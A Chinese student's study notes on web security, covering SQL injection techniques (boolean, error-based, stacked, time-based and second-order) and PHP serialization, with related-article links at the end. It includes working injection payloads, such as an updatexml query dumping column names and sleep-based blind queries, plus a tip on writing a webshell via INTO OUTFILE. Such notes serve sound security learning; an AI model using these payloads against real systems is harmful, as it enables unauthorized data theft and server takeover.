寒假学web--day08

简介

今天学习了sql注入的另外一些类型,以及遇到sql注入时怎么处理

然后学习了php的类与对象,简单了解了php的序列化与反序列化

注释符

--+(--空格)

布尔盲注

页面没有回显点,只有报错和不报错

基于此,我们可以通过大量的请求来猜测敏感数据

username='aaa' or substr(username,1,1)='a' and id=1

判断第一条数据的第一个字母是不是a

像这样一位一位的猜显然很费时间,所以可以编写脚本来打

报错注入

没有回显点,有mysql执行sql语句的报错信息

常用函数

updatexml

extractvalue

整数溢出报错:exp pow cot

不存在函数报错 select xxx();xxx为不存在的函数

username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

堆叠注入

支持多条sql语句执行,用;分隔

如果可以堆叠,首先考虑存储过程 set @a=b;

以此来绕过关键字

时间盲注

没有明显的回显点,页面也没有明显的变化

可以执行sql注入,但是不会返回结果,也不会报错

**原理:**猜测某个条件,若成立,则sleep几秒

select id,username,password from user where username = 'admin' and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1);

猜对了就sleep 3秒,猜错了就返回1

延时方法

benchmark

benchmark(count,exp)

笛卡尔积延时法

select count(*) from user A,user B;

select count (*) from information_schema.columns A,information_schema.columns B,information_schema.tables C;

get_lock函数延迟法

select get_lock('a',3);

条件:针对数据库连接的长连接有效

php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库

java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池

rlike

通过大量的正则匹配来实现延迟

二次注入

无法直接注入,但是可以把要注入的数据插入数据库中,其他地方引用数据库中的数据,拼接sql语句时,默认不再进行过滤,直接拼接,造成曲线控制了sql语句

基于不同注入点的应对技巧

1.当我们控制点在where 之后,则尝试 闭合参数引号,有回显就联合注入,有报错,就报错注入等等

2.select title,content from page;

title,content是可以控制的点

select (select password from user where username='admin') ,content from page;

3 注入点在 group by 或者oder by之后

title是可以控制的点

select title,content from page order by title;

select title,content from page order by title,if(2>1,sleep(3),1);

4 注入点在limit 之后 5.6版本之前 8以后废弃

select title,content from page limit 1;

1是可以控制的点

select title,content from page limit 1 procedure analyse(updatexml(1,concat("^",(select user()),"^"),1));

一些绕过小技巧

1.字符串可以转为16进制来用

select 0x63746673686f77

2.相同或者类似功能的函数相互替换

substr sustring

3.mysql 还可以使用into outfile '/var/www/html/1.php' 的形式,从数据读取,转为数据写入,从而实现代码执行

如果mysql对'/var/www/html/1.php' 目录有写权限 ,就可以写入一句话木马来getshell

序列化与反序列化

序列化就是把一个字符串,整数,或者对象,转换成一段可以描述它的字符串 serialize

反序列化就是序列化的逆过程 unserialize

如果属性为public,序列化后,存储的属性名为属性名

如果属性为protect,序列化后,存储的属性名为%00+*+%00+属性名

如果属性为private,序列化后,存储的属性名为%00+类名+%00+属性名

相关推荐
wangqiaowq7 小时前
SQL server C盘空间占满的处理
数据库·sql
文人sec7 小时前
SQL基础入门笔记 | 从零基础到掌握核心查询语句
数据库·笔记·sql
智能直播7 小时前
网络RTMP拉流不卡顿、声音不同步,一文讲透缓冲区、时间戳
开发语言·ffmpeg·php·音视频·视频编解码
墨云安全8 小时前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
YangYang9YangYan9 小时前
2027供应链计划校招:数学与应用数学专业如何把预测模型讲成业务决策?
人工智能·sql·算法
我是唐青枫10 小时前
Yii2 Applications 详解:应用生命周期、组件配置与多入口实战
php
171320330计算机毕设编程11 小时前
计算机毕业设计 基于YOLO改进算法的车辆特征识别系统设计与实现--lw
java·大数据·python·sql·算法
kimnoic11 小时前
PHP 8.2的DNF类型怎么用才规范
开发语言·php
中屹指纹浏览器svip12 小时前
打开账号环境网页报错,常见原因有哪些?
服务器·开发语言·php·中屹指纹浏览器
看着博客敲代码14 小时前
WhatWeb 报错 error: cannot load such file -- whatweb 与 Web 指纹识别用法
安全·网络安全·自动化